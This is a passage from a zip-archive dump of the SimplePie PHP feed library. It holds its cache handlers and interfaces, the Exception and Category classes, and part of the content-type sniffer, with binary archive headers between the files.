     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            // essentially ignore the mtime because Memcache expires on its own
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }
}

class_alias('SimplePie\Cache\Memcache', 'SimplePie_Cache_Memcache');
PKWd[yt��wwsrc/Cache/DataCache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Subset of PSR-16 Cache client for caching data arrays
 *
 * Only get(), set() and delete() methods are used,
 * but not has(), getMultiple(), setMultiple() or deleteMultiple().
 *
 * The methods names must be different, but should be compatible to the
 * methods of \Psr\SimpleCache\CacheInterface.
 *
 * @package SimplePie
 * @subpackage Caching
 * @internal
 */
interface DataCache
{
    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string   $key     The unique key of this item in the cache.
     * @param mixed    $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null);

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array    $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool;

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool;
}
PKWd[3}��src/Cache/Base.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Base for cache objects
 *
 * Classes to be used with {@see \SimplePie\Cache::register()} are expected
 * to implement this interface.
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use "Psr\SimpleCache\CacheInterface" instead
 */
interface Base
{
    /**
     * Feed cache type
     *
     * @var string
     */
    public const TYPE_FEED = 'spc';

    /**
     * Image cache type
     *
     * @var string
     */
    public const TYPE_IMAGE = 'spi';

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type);

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data);

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load();

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime();

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch();

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink();
}

class_alias('SimplePie\Cache\Base', 'SimplePie_Cache_Base');
PKWd[�����src/Cache/File.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Caches data to the filesystem
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class File implements Base
{
    /**
     * Location string
     *
     * @see SimplePie::$cache_location
     * @var string
     */
    protected $location;

    /**
     * Filename
     *
     * @var string
     */
    protected $filename;

    /**
     * File extension
     *
     * @var string
     */
    protected $extension;

    /**
     * File path
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->location = $location;
        $this->filename = $name;
        $this->extension = $type;
        $this->name = "$this->location/$this->filename.$this->extension";
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) {
            if ($data instanceof \SimplePie\SimplePie) {
                $data = $data->data;
            }

            $data = serialize($data);
            return (bool) file_put_contents($this->name, $data);
        }
        return false;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        if (file_exists($this->name) && is_readable($this->name)) {
            return unserialize(file_get_contents($this->name));
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        return @filemtime($this->name);
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        return @touch($this->name);
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        if (file_exists($this->name)) {
            return unlink($this->name);
        }
        return false;
    }
}

class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File');
PKWd[e<H���
src/Cache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\Cache\Base;

/**
 * Used to create cache objects
 *
 * This class can be overloaded with {@see SimplePie::set_cache_class()},
 * although the preferred way is to create your own handler
 * via {@see register()}
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use "SimplePie\SimplePie::set_cache()" instead
 */
class Cache
{
    /**
     * Cache handler classes
     *
     * These receive 3 parameters to their constructor, as documented in
     * {@see register()}
     * @var array
     */
    protected static $handlers = [
        'mysql'     => 'SimplePie\Cache\MySQL',
        'memcache'  => 'SimplePie\Cache\Memcache',
        'memcached' => 'SimplePie\Cache\Memcached',
        'redis'     => 'SimplePie\Cache\Redis'
    ];

    /**
     * Don't call the constructor. Please.
     */
    private function __construct()
    {
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @param string $location URL location (scheme is used to determine handler)
     * @param string $filename Unique identifier for cache object
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $extension 'spi' or 'spc'
     * @return Base Type of object depends on scheme of `$location`
     */
    public static function get_handler($location, $filename, $extension)
    {
        $type = explode(':', $location, 2);
        $type = $type[0];
        if (!empty(self::$handlers[$type])) {
            $class = self::$handlers[$type];
            return new $class($location, $filename, $extension);
        }

        return new \SimplePie\Cache\File($location, $filename, $extension);
    }

    /**
     * Create a new SimplePie\Cache object
     *
     * @deprecated since SimplePie 1.3.1, use {@see get_handler()} instead
     */
    public function create($location, $filename, $extension)
    {
        trigger_error('Cache::create() has been replaced with Cache::get_handler() since SimplePie 1.3.1, use the registry system instead.', \E_USER_DEPRECATED);

        return self::get_handler($location, $filename, $extension);
    }

    /**
     * Register a handler
     *
     * @param string $type DSN type to register for
     * @param class-string<Base> $class Name of handler class. Must implement Base
     */
    public static function register($type, $class)
    {
        self::$handlers[$type] = $class;
    }

    /**
     * Parse a URL into an array
     *
     * @param string $url
     * @return array
     */
    public static function parse_URL($url)
    {
        $params = parse_url($url);
        $params['extras'] = [];
        if (isset($params['query'])) {
            parse_str($params['query'], $params['extras']);
        }
        return $params;
    }
}

class_alias('SimplePie\Cache', 'SimplePie_Cache');
PKWd[��S��src/Exception.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use Exception as NativeException;

/**
 * General SimplePie exception class
 *
 * @package SimplePie
 */
class Exception extends NativeException
{
}

class_alias('SimplePie\Exception', 'SimplePie_Exception');
PKWd[�T�src/Category.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages all category-related data
 *
 * Used by {@see \SimplePie\Item::get_category()} and {@see \SimplePie\Item::get_categories()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_category_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Category
{
    /**
     * Category identifier
     *
     * @var string|null
     * @see get_term
     */
    public $term;

    /**
     * Categorization scheme identifier
     *
     * @var string|null
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Human readable label
     *
     * @var string|null
     * @see get_label()
     */
    public $label;

    /**
     * Category type
     *
     * category for <category>
     * subject for <dc:subject>
     *
     * @var string|null
     * @see get_type()
     */
    public $type;

    /**
     * Constructor, used to input the data
     *
     * @param string|null $term
     * @param string|null $scheme
     * @param string|null $label
     * @param string|null $type
     */
    public function __construct($term = null, $scheme = null, $label = null, $type = null)
    {
        $this->term = $term;
        $this->scheme = $scheme;
        $this->label = $label;
        $this->type = $type;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the category identifier
     *
     * @return string|null
     */
    public function get_term()
    {
        return $this->term;
    }

    /**
     * Get the categorization scheme identifier
     *
     * @return string|null
     */
    public function get_scheme()
    {
        return $this->scheme;
    }

    /**
     * Get the human readable label
     *
     * @param bool $strict
     * @return string|null
     */
    public function get_label($strict = false)
    {
        if ($this->label === null && $strict !== true) {
            return $this->get_term();
        }
        return $this->label;
    }

    /**
     * Get the category type
     *
     * @return string|null
     */
    public function get_type()
    {
        return $this->type;
    }
}

class_alias('SimplePie\Category', 'SimplePie_Category');
PKWd[�p�5J$J$src/Content/Type/Sniffer.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Content\Type;

/**
 * Content-type sniffing
 *
 * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
 *
 * This is used since we can't always trust Content-Type headers, and is based
 * upon the HTML5 parsing rules.
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_content_type_sniffer_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class Sniffer
{
    /**
     * File object
     *
     * @var \SimplePie\File
     */
    public $file;

    /**
     * Create an instance of the class with the input file
     *
     * @param Sniffer $file Input file
     */
    public function __construct($file)
    {
        $this->file = $file;
    }

    /**
     * Get the Content-Type of the specified file
     *
     * @return string Actual Content-Type
     */
    public function get_type()
    {
        if (isset($this->file->headers['content-type'])) {
            if (!isset($this->file->headers['content-encoding'])
                && ($this->file->headers['content-type'] === 'text/plain'
                    || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
                    || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'
                    || $this->file->headers['content-type'] === 'text/plain; charset=UTF-8')) {
                return $this->text_or_binary();
            }

            if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) {
                $official = substr($this->file->headers['content-type'], 0, $pos);
            } else {
                $official = $this->file->headers['content-type'];
            }
            $official = trim(strtolower($official));

            if ($official === 'unknown/unknown'
                || $official === 'application/unknown') {
                return $this->unknown();
            } elseif (substr($official, -4) === '+xml'
                || $official === 'text/xml'
                || $official === 'application/xml') {
                return $official;
            } elseif (substr($official, 0, 6) === 'image/') {
                if ($return = $this->image()) {
                    return $return;
                }

                return $official;
            } elseif ($official === 'text/html') {
                return $this->feed_or_html();
            }

            return $official;
        }

        return $this->unknown();
    }

    /**
     * Sniff text or binary
     *
     * @return string Actual Content-Type
     */
    public function text_or_binary()
    {
        if (substr($this->file->body, 0, 2) === "\xFE\xFF"
            || substr($this->file->body, 0, 2) === "\xFF\xFE"
            || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
            || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") {
            return 'text/plain';
        } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) {
            return 'application/octet-stream';
        }

        return 'text/plain';
    }

    /**
     * Sniff unknown
     *
     * @return string Actual Content-Type
     */
    public function unknown()
    {
        $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
        if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
            || strtolower(substr($this->file->body, $ws, 5)) === '<html'
            || strtolower(substr($this->file->body, $ws, 7)) === '<script') {
            return 'text/html';
        } elseif (substr($this->file->body, 0, 5) === '%PDF-') {
            return 'application/pdf';
        } elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') {
            return 'application/postscript';
        } elseif (substr($this->file->body, 0, 6) === 'GIF87a'
            || substr($this->file->body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return $this->text_or_binary();
    }

    /**
     * Sniff images
     *
     * @return string Actual Content-Type
     */
    public function image()
    {
        if (substr($this->file->body, 0, 6) === 'GIF87a'
            || substr($this->file->body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return false;
    }

    /**
     * Sniff HTML
     *
     * @return string Actual Content-Type
     */
    public function feed_or_html()
    {
        $len = strlen($this->file->body);
        $pos = strspn($this->file->body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");

        while ($pos < $len) {
            switch ($this->file->body[$pos]) {
                case "\x09":
                case "\x0A":
                case "\x0D":
                case "\x20":
                    $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
                    continue 2;

                case '<':
                    $pos++;
                    break;

                default:
                    return 'text/html';
            }

            if (substr($this->file->body, $pos, 3) === '!--') {
                $pos += 3;
                if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) {
                    $pos += 3;
                } else {
                    return 'text/html';
                }
            } elseif (substr($this->file->body, $pos, 1) === '!') {
